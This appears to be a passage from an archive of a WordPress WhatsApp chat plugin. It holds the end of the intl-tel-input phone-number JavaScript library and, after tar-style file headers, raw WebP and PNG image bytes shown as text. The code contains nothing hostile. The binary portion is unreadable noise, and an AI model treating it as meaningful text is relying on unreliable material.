        if (dialCode) {
          dialCode = `+${this.selectedCountryData.dialCode}`;
          const start = number[dialCode.length] === " " || number[dialCode.length] === "-" ? dialCode.length + 1 : dialCode.length;
          number = number.substr(start);
        }
      }
      return this._cap(number);
    }
    //* Trigger the 'countrychange' event.
    _triggerCountryChange() {
      this._trigger("countrychange");
    }
    //* Format the number as the user types.
    _formatNumberAsYouType() {
      const val = this._getFullNumber();
      const result = intlTelInput.utils ? intlTelInput.utils.formatNumberAsYouType(val, this.selectedCountryData.iso2) : val;
      const { dialCode } = this.selectedCountryData;
      if (this.options.separateDialCode && this.telInput.value.charAt(0) !== "+" && result.includes(`+${dialCode}`)) {
        const afterDialCode = result.split(`+${dialCode}`)[1] || "";
        return afterDialCode.trim();
      }
      return result;
    }
    //**************************
    //*  SECRET PUBLIC METHODS
    //**************************
    //* This is called when the geoip call returns.
    handleAutoCountry() {
      if (this.options.initialCountry === "auto" && intlTelInput.autoCountry) {
        this.defaultCountry = intlTelInput.autoCountry;
        const hasSelectedCountryOrGlobe = this.selectedCountryData.iso2 || this.selectedCountryInner.classList.contains("iti__globe");
        if (!hasSelectedCountryOrGlobe) {
          this.setCountry(this.defaultCountry);
        }
        this.resolveAutoCountryPromise();
      }
    }
    //* This is called when the utils request completes.
    handleUtils() {
      if (intlTelInput.utils) {
        if (this.telInput.value) {
          this._updateValFromNumber(this.telInput.value);
        }
        if (this.selectedCountryData.iso2) {
          this._updatePlaceholder();
          this._updateMaxLength();
        }
      }
      this.resolveUtilsScriptPromise();
    }
    //********************
    //*  PUBLIC METHODS
    //********************
    //* Remove plugin.
    destroy() {
      const { allowDropdown, separateDialCode } = this.options;
      if (allowDropdown) {
        this._closeDropdown();
        this.selectedCountry.removeEventListener(
          "click",
          this._handleClickSelectedCountry
        );
        this.countryContainer.removeEventListener(
          "keydown",
          this._handleCountryContainerKeydown
        );
        const label = this.telInput.closest("label");
        if (label) {
          label.removeEventListener("click", this._handleLabelClick);
        }
      }
      const { form } = this.telInput;
      if (this._handleHiddenInputSubmit && form) {
        form.removeEventListener("submit", this._handleHiddenInputSubmit);
      }
      this.telInput.removeEventListener("input", this._handleInputEvent);
      if (this._handleKeydownEvent) {
        this.telInput.removeEventListener("keydown", this._handleKeydownEvent);
      }
      this.telInput.removeAttribute("data-intl-tel-input-id");
      if (separateDialCode) {
        if (this.isRTL) {
          this.telInput.style.paddingRight = this.originalPaddingRight;
        } else {
          this.telInput.style.paddingLeft = this.originalPaddingLeft;
        }
      }
      const wrapper = this.telInput.parentNode;
      wrapper?.parentNode?.insertBefore(this.telInput, wrapper);
      wrapper?.parentNode?.removeChild(wrapper);
      delete intlTelInput.instances[this.id];
    }
    //* Get the extension from the current number.
    getExtension() {
      if (intlTelInput.utils) {
        return intlTelInput.utils.getExtension(
          this._getFullNumber(),
          this.selectedCountryData.iso2
        );
      }
      return "";
    }
    //* Format the number to the given format.
    getNumber(format) {
      if (intlTelInput.utils) {
        const { iso2 } = this.selectedCountryData;
        return intlTelInput.utils.formatNumber(
          this._getFullNumber(),
          iso2,
          format
        );
      }
      return "";
    }
    //* Get the type of the entered number e.g. landline/mobile.
    getNumberType() {
      if (intlTelInput.utils) {
        return intlTelInput.utils.getNumberType(
          this._getFullNumber(),
          this.selectedCountryData.iso2
        );
      }
      return -99;
    }
    //* Get the country data for the currently selected country.
    getSelectedCountryData() {
      return this.selectedCountryData;
    }
    //* Get the validation error.
    getValidationError() {
      if (intlTelInput.utils) {
        const { iso2 } = this.selectedCountryData;
        return intlTelInput.utils.getValidationError(this._getFullNumber(), iso2);
      }
      return -99;
    }
    //* Validate the input val
    isValidNumber() {
      if (!this.selectedCountryData.iso2) {
        return false;
      }
      const val = this._getFullNumber();
      const alphaCharPosition = val.search(/\p{L}/u);
      if (alphaCharPosition > -1) {
        const beforeAlphaChar = val.substring(0, alphaCharPosition);
        const beforeAlphaIsValid = this._utilsIsPossibleNumber(beforeAlphaChar);
        const isValid = this._utilsIsPossibleNumber(val);
        return beforeAlphaIsValid && isValid;
      }
      return this._utilsIsPossibleNumber(val);
    }
    _utilsIsPossibleNumber(val) {
      return intlTelInput.utils ? intlTelInput.utils.isPossibleNumber(val, this.selectedCountryData.iso2, this.options.validationNumberType) : null;
    }
    //* Validate the input val (precise)
    isValidNumberPrecise() {
      if (!this.selectedCountryData.iso2) {
        return false;
      }
      const val = this._getFullNumber();
      const alphaCharPosition = val.search(/\p{L}/u);
      if (alphaCharPosition > -1) {
        const beforeAlphaChar = val.substring(0, alphaCharPosition);
        const beforeAlphaIsValid = this._utilsIsValidNumber(beforeAlphaChar);
        const isValid = this._utilsIsValidNumber(val);
        return beforeAlphaIsValid && isValid;
      }
      return this._utilsIsValidNumber(val);
    }
    _utilsIsValidNumber(val) {
      return intlTelInput.utils ? intlTelInput.utils.isValidNumber(val, this.selectedCountryData.iso2) : null;
    }
    //* Update the selected country, and update the input val accordingly.
    setCountry(iso2) {
      const iso2Lower = iso2?.toLowerCase();
      const currentCountry = this.selectedCountryData.iso2;
      const isCountryChange = iso2 && iso2Lower !== currentCountry || !iso2 && currentCountry;
      if (isCountryChange) {
        this._setCountry(iso2Lower);
        this._updateDialCode(this.selectedCountryData.dialCode);
        this._triggerCountryChange();
      }
    }
    //* Set the input value and update the country.
    setNumber(number) {
      const countryChanged = this._updateCountryFromNumber(number);
      this._updateValFromNumber(number);
      if (countryChanged) {
        this._triggerCountryChange();
      }
      this._trigger("input", { isSetNumber: true });
    }
    //* Set the placeholder number typ
    setPlaceholderNumberType(type) {
      this.options.placeholderNumberType = type;
      this._updatePlaceholder();
    }
    setDisabled(disabled) {
      this.telInput.disabled = disabled;
      if (disabled) {
        this.selectedCountry.setAttribute("disabled", "true");
      } else {
        this.selectedCountry.removeAttribute("disabled");
      }
    }
  };
  var loadUtils = (path) => {
    if (!intlTelInput.utils && !intlTelInput.startedLoadingUtilsScript) {
      intlTelInput.startedLoadingUtilsScript = true;
      return new Promise((resolve, reject) => {
        import(
          /* webpackIgnore: true */
          /* @vite-ignore */
          path
        ).then(({ default: utils }) => {
          intlTelInput.utils = utils;
          forEachInstance("handleUtils");
          resolve(true);
        }).catch(() => {
          forEachInstance("rejectUtilsScriptPromise");
          reject();
        });
      });
    }
    return null;
  };
  var intlTelInput = Object.assign(
    (input, options) => {
      const iti = new Iti(input, options);
      iti._init();
      input.setAttribute("data-intl-tel-input-id", iti.id.toString());
      intlTelInput.instances[iti.id] = iti;
      return iti;
    },
    {
      defaults,
      //* Using a static var like this allows us to mock it in the tests.
      documentReady: () => document.readyState === "complete",
      //* Get the country data object.
      getCountryData: () => data_default,
      //* A getter for the plugin instance.
      getInstance: (input) => {
        const id2 = input.getAttribute("data-intl-tel-input-id");
        return id2 ? intlTelInput.instances[id2] : null;
      },
      //* A map from instance ID to instance object.
      instances: {},
      loadUtils,
      version: "24.5.0"
    }
  );
  var intl_tel_input_default = intlTelInput;
  return __toCommonJS(intl_tel_input_exports);
})();

// UMD
  return factoryOutput.default;
}));
click-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/globe.webp000064400000001002147510273110021615 0ustar00RIFF�WEBPVP8L�/��Ȓ$Y���}�Nܩ9b���.-�Čff��5�� I6m˶m�Ɵm۶m۶m۶m?���IM�0�3�[���
�kȪ�J(g`
��W�L�26-(:@r��y���0�=A�N�r���]C�A��W�b�)5�=��xŢ�z>�f�n��Q�/�zE\�`��cW�ґ��7�L���B���-�a����c;G��>�p�x�WFaq�0��l��SR��O�a������G'X`:D�22	�ú�q�ܹ��������t�٩��T
�/O�Q�
���G���*���۴T2%'����O_Z毇,I(�I�Y{� f�'
�~J3�&�O��8�.kP��̞W�w�ś?������c1�L�!4>�B;�j5��W�}rm�al��Af��lA1��u�'��n�� ����i ����&�7;~�dB�[�?�J
���o�|}�}
���Td�V�[
j�A��Tclick-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/flags.png000064400000117366147510273110021475 0ustar00�PNG


IHDR@AO	pHYs���{Rk IDATx��wxU�3[�ɦ'$��$��;ҋ(E��,����( bA)�]��"��" ]E�*BBKHo�wg�?6Bz6"�z�����9s�̹�!�E�o�L����D�Yi�#��zע]�j�L�LI �:j�[�ՃR�Y�4��ټн�3�j�Ѧ
��Q&�u�P�td��N��Aa��y�՚S�]@��M#`���r�j=_2�}�55c-ѭ���6�tP=�kF�K��9��|]¯M�K����s	����G/�褺�MuD���R��'b��~^|� Ƨ. X-�W5b�p��ͼьL-Q�[�,R��?��|���2��&�`���%?`t'����̓�����N>Ħ�s�t7�	��ılH�/Ծ��=ly�@ۚC�Zо�C8��Y��P�ŭn�5�����Z�h��wޛ�t\@�h�E�
�#;����I^��e��x��faO�(WJ_��O��eh���Ђ��=iW�s�zs��ZՓA�jh3����O~���:^��1��6+�����Q�k^��SJ�?�dc��=��ƥ};��s	�ۡ.���"k'��"<�B���B�m�&3B�D�����ޞXo$���r�_�]꿦_�k���D���K��\�&'���[��tŵ?�~�EVIU6����W��r?��%P��u�_�v랷x��Lw�SL�m����e���`Zբ�����"�_:�W��no�l�]�L�B�;aۢ�G�᥼Sm:�-�+��)Oj�q���,k���=l�������{y~�NdC�ǒ��.-��K��U��,}7b����dW�"���K�ׅ���Ae���W~w����Z���}	��Wl�ѥ�_r�b�@��b�ϼZ�\6>�|�N4�]*~�7O�Kkxf��3��!�a5�nz��2�}��fu�sd������g�����]��p���Z���qz���[S�ؘ���|����Ɲ��d{��]|��3.�ګi.�}�T��ӗ���c�[3V~�t��W>����',��C��e��q.�����{Þ΍�N����l�V��3�%�зY.���)T��u�9���c�9�x�O/�q0�6K������h�J��H�-��ӕ���x^�t7>w�zS��`2���
u՞77��y�4�|1��h�"��������3�|n��i�bV��;��3��k���-���E��I^m�i�_�G!��g]��}܉*^?Wx�����V�vlK<���\���Dj{�[8�#�{b�xoK|a���hn�Wh�U�oP]]�����ӧ��L���RX~���,s�u�ޯ�ҫ��\�O������%������w��~�?�U]_gPd����VÊ���k��V�ǃ����%kt��~��I`����N����={+S����CK��t��A�Vu	��!�w
f~`�{/V�q��<��� ��'��º@�AF߾a��E��y�~�
8�t��P�����\7��=i�� �6�a�[��6�N�<��ao����
�$�?��?׾e�o]¿�,� ��;]dF�|��
�����G�[�N9�:v�~�s峮��vm��;�GK�?Ն��?ӭL�6�K�@r�����.�?\eq	����.�/:ݵ���O��=�,k�V�t�
����T(e���ZX>]�)�Нk���ǢI.�g�w��Zmpm��]Ip	�B���fY
��/_�]38�c��N���{!f+gb
�gs*F���i<nx�˯Ҝ���u?�.�Y:���*���Q*�����MO�q�,������̨u���kz�w�	�@S�BH��Ͼ4�5���G�Cԡ�2H>䚨ziP�Bm/6̦*����y�y'V����
\�e�k��K�2q@Fu�X�#3]�_��	��oR��?P�Vw�~q��%�F�G
���V�@'�M32l��X��j�7xL�.�
|����-���[d�,柨��d���%�<�
��[E���Q͛�Zy L����Qڴ\��LJ>�~�&�^���ve�-��{��U]�K��%���_fPT��m�1��O����.�ݯϸ��I�S���A�h'M����g_���#��q�1~�U�D�wI�JS��97@�l���7�-�ܶ���E%��3�����Q�8��3Q��Ce���uq�O�m����o��ף ���&�*�먼]��̎��=�����v0��s�q&�bvy������wʅ��<�E��k����当��s�b�CWHF���v����Ci�֞u�����p	����GF�Ub�m�ȗ+�K7ʿ|}�K�W��,�䇤��6v���~�q�.�'/]F�Vn<h�Mh�@ñcep��P��eνw��|�V��$N���Xa��Η�|�WP�_��E=W0��>�&��b��R����ٟ�J��R��8�s�~��k�Gf�F��>?��ν���
�’�{ާO���u����\��z�\�{�������D__�9s�k���uv	��o]0�[�#�b~��=ޘ/T܆�r�K�O��ho�c���&�{���$���}滄��A|�绛J~�T����ǫ�խ���6C�fߩ�궽�^��b=|\*%�h���.ͿN�k�-j����xժ�q�bv��3��oA��8�/��9�{�%�e{^⛮�OA��FgKNF�XЄ:�t'�t!sǎR�#uU\�_1yC~��ݻw������2nRZپ+�R�/{)��*�J�]��F7����}���an=X�����y��C6�����z�����r���*�2$\�IDXv��Ii��2�K���s�Æ5���_:�[�=�Ѩ9��E��Fs�8(!s"5�⬴r�^%wP���Qxl���ϲ���%��v8�|[�G3��?�d���E.��v�K�c=o�bj$ճ<*���T??>�IT� p,&?&��%�?��4��d�.�{Y]�_����%lR�–���unY_.E*�_C�O�4�i�_0a�L�
�+ۑ��s9��`��y����[�F�l�vx]�Q��4)ߐ�T@�vR2$‚E�
�u�,Xm���[P�.�>?DZ����� �r:��|�.�
�9�w����&�e�w`�=:ϖM9���e]~���
�9��/��֡�f�4:�]+�`���	~j��Z�C�R���a�޾�����
�g�9�?�Px��~�'������(�a�o��x=�SN�6KH[��<���SC~{����X8�o���+n��{.W<
�v:�����i�CS��M)���$�ƭHƟ�7��΄Z	H���K�1ڋv�1G�̃F1p�ƃ�[�FP��)/�<]KS �]]|�BD�=�b���V`{{hy�G�k��U��s�����-L�Τ~~O�Cնp.�6�k��c��q�s2^�1+�j�,X��(1d�J�fm�y)!�m"�9��<��_���GYA�u~_F��o���TJIJ�*���俶��P��E+s<�2�b����;�+h���_�������5��š\�n�Q����c�%��O�7�@�Q�1m�<�P���v�#�v���}Gc���*үB�a�z�x��H�`�ZC�����]�#J�f�!�ˎ���^��ȚL����\��]�<8��
�R������'�_i��K�-��(��k�׮��f$1=�b��3i�b<���5	׋�%kG�l`=��@��7I	
����"�A�1eduSb�
d���Q���de�H�D�<�I�fܱ��/�<��S)����S)(]��6nn|0A	�<p��������*z�t�˕�ܶ�}�?Ѭ���~��ڕ~��X۶_y�d�'�Ť�rدF��Go�z�q����A�=��%+F���g6p��v���n0{�a�puT��h���X��];#����*�X�7��__b�{�Pǫ!+ƢO�x#�O���ζ�ďx��]P}�'��p��%��g$m��y�L'�?�e����1���L%�Մ��nHŐQ�)Ay�	a�"��lEf/�BW&(
w菋j�WA�+P�� �@�
(��02`O*��n���$f���G�_��U�0(x�s�+��n�3g�@DD�I1bccY�n�ǏG�T:��A�C0)�T�t�s;��� >!9/aV�&�QU����>8P��hK�Ι�8�\}J.Gb�?ŋ����1+� ���c�}H�)�'28�D�r�c��d���H�L܃���
��F���]����eŜ��F��3�P*D�%�:2��d�X��I��ɋ������	`<a� b%�
G^,�����W���˽�t����F) �!@a�tz<�B"�,�5��r8�fW�<5<����r���mka%��lI)
e��?v�j):��I�HN):Hx\�d��A��r�j	A���㹙���lv�V�	�'KN�4쭷h����3�� "�:M��q55�#q����("C;G����?�̾�����A��ki�n-M^����M�p�'���Ѷ���e����?���",���9�M����Ď�������?Z���|9���ƣ>&Q�ߵ�e�}�͒?j1e�)R3-�S��΀�t���s��i�.~'`�d�d�]��8���-�:�$<�h��{G�ā�"��&W�@�uup���+���[),[��,��oж��z]%7�|��#�2?#C��"�����C�j4�������!���Mƫ���Q���w�~{+�����
B��GH�G@������^�������?���ԣ��
(jG��ٿ16k���tL-�e�/5�/�J�l��ۿV�s<���oh�ݤ$��	�u�1۸�<�$K�H5}22�,����ڟ��sl,5�̹��g�>����#f3���Dzq�gT;)#��Pٔ*�H�N�� !���װ٤J��FSC��C�
\�v_&��ՃP��D�#��n��a4�i��T�x��D2"�ς-	A�4��9���Ue(�YT�@��@�=v	h��-/�F�o�����bY@vEتd���Te�)'�yB���.���	5��uT)��v}�I�0��ʈy��{��Ӊ��$�>x�|��4��V�]7d�7*\J��^}���LHj���ҩ}G&�|��Iʛ^�,J����}G�!�ۡ%����Q��f �St�L�͏��[K�J�A��~�J�`��6��,�"�ơ���xؙ
�]q�Ʊ,�3AJZ޿����+@g�/���+�ԧ2�{5}��^�TJdYF�C���
����ݻ�� �Kغ��mA8�_Y5$D�W_u�V���/Yh���>5�+J�����i�|={�ѣ���/���9�uw?:�"��E]3�{��G��H
u�]�2��_��2_�%n�X������&��]�?���pm�4���������z��c��I�Z4&d���5D�eaݍ�����~�L�{'�o;v��Ǯ"��%h4�ڎ�ڎ�;�zɴ��Gd�%���a�,浽&��]D����F��ǘq�&{R�l6+�Gڵ���;t���h�à��ݚ���6��"��*�,�96�Ҍ�-�y���U������ױ1o.L����(���n��C�0�Ʉc�%1�y��m��VaaR�|��l"���O�b�����m��k�f�v����i��6o���$ie�:�v9$
�_�Ԋ�7�J�^�%?�(1(~��y�裐��Џ��?#�G�����/�r���ʦf��/�y�/�cZ���O֟�Z�+���8���GM�(�'��0�;��l����2���	�("�6{�h�=Ç��n��z%W��PȄjeb��Gd���#ߢ���{dA���kbœ
l�ޥj��<�U�H.U��l�Dt��@��ٝ��E�\,9��52� -N�R��;(��su��/���5e��P1e�$�(Q��6��5IĴ�ak]�K�4���4�ɇ.�Gƀ�����p榑,��RH޲��lC��ƀ6�(D��~��$�;����O"�~��'p�)�~cy��>Ѐi�[~��E�z�#���m�q=k�Y��$5���K0jq����r�m��…��Ы������G���sſeO�W�FN]8�R�D��jJ��]���f����s+����V�-�pHn���!M�C!�?��í�gc����V*�֓_2��7ORs|gt���`�oݿ���Jo����L�\dn��Ik�	?'��s��̹Z�g+��M�#��]]��|�rW�(��f��nH�w6oO�P"��*Oף�-{Q�n�ې���YX^v��:{�to��j:ʓ��[�é����Ct{v<
�Ar�	�L��������]�?�����ڼ���r���T�6���C1_qps�
<Bun^���g�M��w�n�|2
�M�ۋa�������U���8H��*@	߅C/H�@�� l��W������e����
N�`���	��i�/ԬY�V�W|<2���d�…r�17@h�T�x��T�q �H�{{!���7����?!ͬ���~��ۜ�G[y�l���S|4Γ��
��j���Q��]=+��y��q��bbαx�w�O$I��w��j��l�2��=0(�S/8���Y
�4����I� ~[�t��R0{��p�EY$ۮu��C�P�v�U9�$
���C�we5&I�f�٫�{{�H������C=��,�×�a��?��	%?$ƺQ��S�5n�̘ч�C[��K+	>����˚Y~�LĿ�b}#�SH<��]IXd*q��@/ʧ{r4�G3���@H�������q#�j&{�^#)5��� �<T+�G��!/#��K΀��!�{�{�\0�Χi����p���\�)h���J?���2���l�<zZK��/]�)��J!�����D�)�5��H��t��ʹiߎi{��J6��˼�?�oZ��k�C/3�j��U�EY�=qޥ��|<�Z�`�!s��Kg�����@��BT*��D�?O��%tT+���`���ǵ
2,1;��젧F�2�c%��y��ǂ��
][^�VX�7�$+W�=9�T�����=~hY�q<�� �:�ʺC]�t3���F5�i���$��6)j
6�ZA��3���\�iȼ�#���g�%�tc*�}"�;K�(ҽ^#�醤4�B����e-w�~��%`ߑ���ȼ����j�G�ο�vtԮ���&*�5?�AJK�	��	���WS�̴1{�E~��:��R��C�1���#�7"��|gJ=�h|,N��S�Z�T��/0�P��V_�!�3ߏMT�e��X�4o�:˘�P�1�h���T�8���{��;N�Ç�=ȴ��y�V�=��b�c��BU;fw-n�M��j�.3�k�m5�<{4FYwG5t!O�&�Q�I��ڋ�'%%�i�$�J`�X��m|�a�,�;�`��m6i����G��A��}o���0�.�,T*�-"�}{��bb��񧟸�۴cN������i��jS2"r
��O��#Dog�{^����"��;
�!�PUi���*,W~Y��A�VGz���d�����9�:�ͮ�}�%|�M�K�?�bQ
�)SH�>=��6C��q:�ť>/T�؛�
�\l*fK�O����Me߹�	�_�x`��O_T3�7�����=���^�ƹ�+<\�#��uḲ���f
�2Y{�����K&�Ne�'������ѣ�y�%6͟O�1H99��_��UuK�)?Q^ժ���θq
Y��4�.e纯`O�S��#0eI��BB��Xh9�59'j�w��Ɋ,;u��Q��5q����h�.�l�ld�I�`5Ƣ�{����$�V!�Sp%�z��r%?r>W��ňߠ~j�S!# �@D�98�ש��'oĞ�W$$ IDAT�ѽ6J��Qx�Q���![S��zd	G�)������k��Q��#�d�UX������K�k��[�	^̌�V��]]èz��ɜ�N��>��p1!�sq��~��FI��!9�J��N��7i^ϟ-��a��[��.7=f|�Z���I������7S;w����O߯�j_��)�EM]�70[�[��
�ئ�-y�QT���_|��s_cp�T)�����z�7�,Q���S��$�ͩ�`	�h�E@�MEI�]�����8�Fl��PB��*T��j͡n��v�T<�O{���4�UХ����<���Z_���X*
*�sN���`�ݪjR
�
�.��J/�褺��y��nT����0�����_�b��dU%Tض���p8+�Z,�d�ϼ���!;ۂt�M����x?ȓ�>�P��l�sOgn(��$$��pHdK-��‹lZ0ϥ ��4;*������?�?d�Ǟ�n}R�t�tк��k�����>�iκI���"���WR����o}P��NLg�y��$�5kH�k1�;�[��L�A���w��s}�
�	L9�	�R�TBD�,�{��Mz��Ch�#P��sy�(N�:EÆ
oՉՍՍPzM"wϯ8�"�:�d9�xU(O���k���?���<Ŷ#��r�wG}�#!I�}�&�Ve�g�|�*֗�G��������^�Y� x���� �p�=�[+e��c'P��aOu=Ø����F�S?0�KG6p�׎���&ח�m��R}z��A���W��S$}4��/�S�C��S콫:Éh��8؟R�}���(�n��
Kb��zs�i��?Gx$0'�U��O�& ��&#?��x�X6����;�!ު�<�MQ�2�"��p��~�j�S��뿑~��f��r�o�ߐ��~L��W�~̹Vr�������fU_�4d��3�\�M�̙x�n]���d$���i��K("��n�������3��lW���3�� |:�DP�wS�x*e��jg�e5f��gYH�5�g0�,c���j��C��*>���j�N0�d~�a�Z��r�{}�)��)ݕ���tF�}�L��po�}��*e��
�7�n��׹J���b�0pɑ�ո0z�m��
�&�޼g��CR�����N��j<Vsl�24��O�����q��6��m�'۳��}U��Y(�Ŵ#�b����Q+��R&߳�OY�UJQ��L�F���-)�+�R��k�'�O�{�qR3r��F^~�F�?F���|?:��	ވ݇{����?�����%���?՛�[��Q�󌌼Zd�њ�A�9\����ܡ�|�y
->���I�����l�� �5?4Z
9�w	B�f�bxA۵��o���|����r������j^��Ҁk�j�w���ɥ�W�4�ܸߎmY��?��9|��R�־MD�ϧ^z���ǯng�
�E�Z�ݑ�Uw��(��QǢffl��?x�J OE䌡?�lcW��R��Ъx��%���w��#
2Iu�i���EУpˡFn�Aa�:�x>y�/�i�ț�a��Q[�߶�I)(~���H�������'��Qx�C�i��M�a֬-�m�M�'<��Z��hݵ!K��E�a�����J�)
���͈N�C��)�$�R��xbt�qW�cǁ�f�M��h5��p�xD��jn{�\}�-r���;��u�uJ_��L���Ξ����w�&�	�w3dz���u���#l�;�:y���j���7!�ۦˁв��IY�o�H^���
;h�zV� �Q�F��*j5�|}�_�7��B�NE$F\�e��'�qf���K��ə�w��}	t�����d.s�$�H/Y�W+T<^�7'R����(�n3�n�ە��(pS�cU��wO~�?IJ^��Gj�z�p�����o�
��C���$q�|,��w?�12228x�f��ѣG�$��4rCP*���cG1b�3|��"6m�L�~��#!f�A�U~�=\$r�V��Vպ���.)pWX0K�2������h�G��
;2�p�X8��e`�"��Ó;����\K*���y�s�yv5�v3j�������)v����77�.㰔�z�%�:��Drҳ�x�+h��d�AF�7tHJ;��&l9jY���e��cY��IIY\��L�#�2��2u;jG���6Je�[�,�O�`�]��I�{j>"2�{G֏rG�)0��r4�O�|@m@i-ٮ(� ��A������I���9:A�����CÃm#x�h�
�r,�,vvL ���=5V�kq����dx��z�D��3��d��g�}	WF����ζ�u���]��w�}�<��M�QZQ�۰'�+�u���\��D:��'ŷT���m}�sc	�`�Of>�
w���+#y�EF�s��@��(�Wk����:��L�Q�]�R;���ɰ<�/�,���B.e9�Z�nΦp?�'�v�g[���\�L�jOMG��cq�aG�P fd��)=qFs+��;�o]7z�l{r^���J��\tH�0H�%J����S0V�_K�)����z+���}�$�
���rw��>��+Ø�!is_n|ݮV�i�I�4��:àg���X,���z֠��%�LY\���5j�m��F~��ӧҼn:+�C�0����:K��3ɰT��tq��o1Xs����:QD��зkG�mۚ7%y�wr�'v6&�n�
�A�a�&'W�8tT>�HV�J�?�̶m,�<���͆�l
"��"]+{�@1$�yTy���df���9��_D\�r�#�$�}�qWA_5eq�`^� 3h� t ���E���1�����G�V�T�g��`œcl>P��B두���l@�Pbw���m&�m�2s��ҡ�����JM�SC���P'�X
�X�G����<��?猡�]YC��P��׈�1H�VhU�s6
(�P\q����&	T$�&���B2w���|`{�A�H��(�j
��E)*	�f��h�ǝ-�~'ː���SAp�Lf�OO����vF�[��y��cY���W#?�u�d2ח�vmR��CaOM�|��%7&Y�4���nn�Tb=y��m�
��D����H8���_�O�c�=����w�EJI�s�f5"�����0��At�6�{��H2�%�2�҅�]f;8J@ov�ZB��\�������h�������i{��r�����������a��M�,>�~�M=,����{��D6����{r呢��֭�T�&ݛ4!y�Vң�6�{>���<�R��{���+���'�駑rsy$4uJ�5�]+6:o^	��j�<����[�>wpQ��8��!;�6㉢i��|lew7��i�r	��1�1�*j�l\�Ta�9H6d`��h\�BU��pӢ�`*��
@��9AȖ�ߋ����0��9{��{Wܟz9׀y�~�KW:c{J��9&Mb�'���b�̙3�0���7frnn��iV>k:��'����Sv��ϖFS�CC;<ګp��gF�<=�*�{y2?_OF�z����,�<u�UJ2�
��yR�OW����J&dK,�I���o�#���#h�ؿ�#g:��ٕM�_�+����ش�J�ɺ�	�޷�{���
_���՛i�VpE�k@g�NP��`����e�ɂ5a1��= �u�G�8r3��:Gc��qd�ف2�!4�'��u2�����Y��6;|�F�L�ƂUq�
tg�w���||*��
kUa��e�?CjD5=Q>>�{��H6�$Y��Բ*��3����#'x{�6x]c�Nk��S�={z���v���(�u~�|�A���V?>�`�~[��|vxU���`W�I`��( SIwk���k?�]i������/��}N��D�>��CKd���n"9�������\r�R�"%�ۻ�%
(�G�е&�JكU�u{�i�er)�%i�Q��#�|}�8��%���U���(��ID_(��ex�5*����<&e�7~x�;�}�жp2<�A���bTt:�t�Q+��x�0�e�&=3�l���f�ow��:�?uM�=�Ta�v��8��_��4!/����3k�[U����6�me�GX�5�%!C'�Q?�����|ɢ��B%��x�����8�����߯��m�w� X-\�9σ��1ȢQ�.]��h�a�K�^ݗi�bvzTg��yK����.�=~��d!�t��ԉt
�)�{��/کTӧ;b�`��X��,v<~��C)���o_?^x�����2gv���s6>]��,�J)`������Ë�����]�K�տ�
5��μ	%@����7f��f\���;��m[����8΃{�3�jމ� {�k)���G��g�N��
�G1_
K�`���k���;��۷D�Yɽ��'�S*���}qk\��Nƫg��WOkԨ1�����ۗ>}zӹsg��H���I�fHv|}����!Y��0nE2o�y�������F�T�h�(��{�Uw�˚���L�% �i�/�����Ǹ���JPp�L�o�0��Y��Z�=��"���әL!H�J�J�w ��D^yQ��$�xZp񎁲d�>�{���j4�D����r��''wo4�-�a:wޥg
���h����t�nc]��+*��.�6p��U��Y��k�/
���h�x8�����Q�=qoӾH�:^�
6+�p@{��p1�'@�-?�/��c�}���㏾O5�
ܕvnJ3�ԘLjs���@�Y����e�i�Ǿ����T�Y�u��=���\镠K�B@�OO-aa�ܸ����/�>R�k�����T�5�n]#��@��m�_����o��ԉ�;1�<ɹ�}�vF9�M�R>�'*4��c��d��&��M,ٙ��P��L�-w�3@�NU�{8���QX����m3�tJ�[ӝ���!��W��^��^":K,T�9m�$k.)��.�[���K~��ՠ��J�a��ݎ�M{W�A�."ߩi�c�@�-�K#.ncE���\�L�����֍&��u��hj�T��?��@�D���Gf68$�D)�q%���h_��A��k$�|����OGwG!̛/��ԧi��ne$�	A�q&-)ƈ�׷`�����D�e��|��^��%Y,��Z��^��
�>}�Ac�;�7�l��ߝ����7��O�B�5��_�Ź(-�:yp���P��MA�N/�(����.������Q||�Y�4�d��h��<\�h�ð)��N櫤��/�p��ɟ�Y�iI�f�DFd���I	�JY�/� �q�|d��d[$Q,�q�v1/�h/���;�;���ʟ+z�L2*�_�t�@7��-&��}X����;qY�>k��,�ϻ���&N�e���h���1��Z�:��)'gml$0�p~�^DE�#��
U����~���Td���g	v��ʺ�(���o�wǽ�v�t6֎ԍT�y<�c'����f���-�H��N���"�6�@��-�|f67ޘM��>(ϻ�n�,��Jm��Y}���8�j�WˑR22�����4�'�U��۱-o�ݿeU���_j�}Q���ҵ3�
H�=���ݩ���H@�6h/$�D|�u��E,���U�Lj�+\��sײq���g��91!{!
��
�bh1���XXwf)׳���l�A�?(D�;OǶ�����?�}A��;��L��]Qp&�ħW3y+ܷ��N���wh���plt�X�/�"����p��m>�Z|���pMK��(?�J�tl.Y�66G�Ҿ���#�zɲ���9�_��q$���W�@�
����W^A�y�1|��b�j:X��,��=VM1�{?�v��o�bվ�ٵ!��2z���՞|��p�z-M{�V���  ��P��j\����–���*"�g�FȜ���
���ۮK�Օ��޽�-��#&;h$�C'!
.�7.C[�V��)��K��ûceᷚ03��Q�(#|�-L�L�Q� �?�zi��O�(���P ��OH^��ĥ�8+A�#��K��v
e�Z ˄�^E����F�A�	�n���춶@۱�=��4$�̷�m��ethжpǭ�d06b>j@.ƓnA�7���Tq��XJ��6=�;�N�qxkʟ
�]4M�7�\OtV�y�&���#,�*���2Z�I��oQ�8��Y�H^���'��9Ѹ1֫�������s�N�~�������4���A����x�"�;w.�|[5ha�E����Z��ۥ��U<y=Sϴ��X,2H��U� H��MeJ�&z�.�<r�Y.
�G1��������^�ޕ&�[ltQ�1�(����)���f����-3��Q*�����M/y�ˣ�p冉��,���v����Q��ɡA���2�dg$��E��{���3�|�2OV�_�H��?��Ǘ���7ߠP(6lX����&�ٿ�num�z=��"_9VL0�@�n�8�<�eIdP$��Lu�|��Xm��աƆ��H�A���Y,���({bsS��qV8�7�F��{�9��'-�Q+��v�Z���V@t�*���0Y���Kel�ch�AX�}H�N�ၓ7������x��*��2�����B�sR]��Jl^���2�l���2ښ&�JE��d��z�Yk�Lv'���0�m��ҹ�	�dJɶ��������r�>5!lȗr��p
M�X@%Y�Τ�3O
�lp��[u�̜�ҒeUp2��/�eu�Q^fb2>�<�O�mڡ����Kw��߁��R���7��o_��pN߼̶�C�(0�
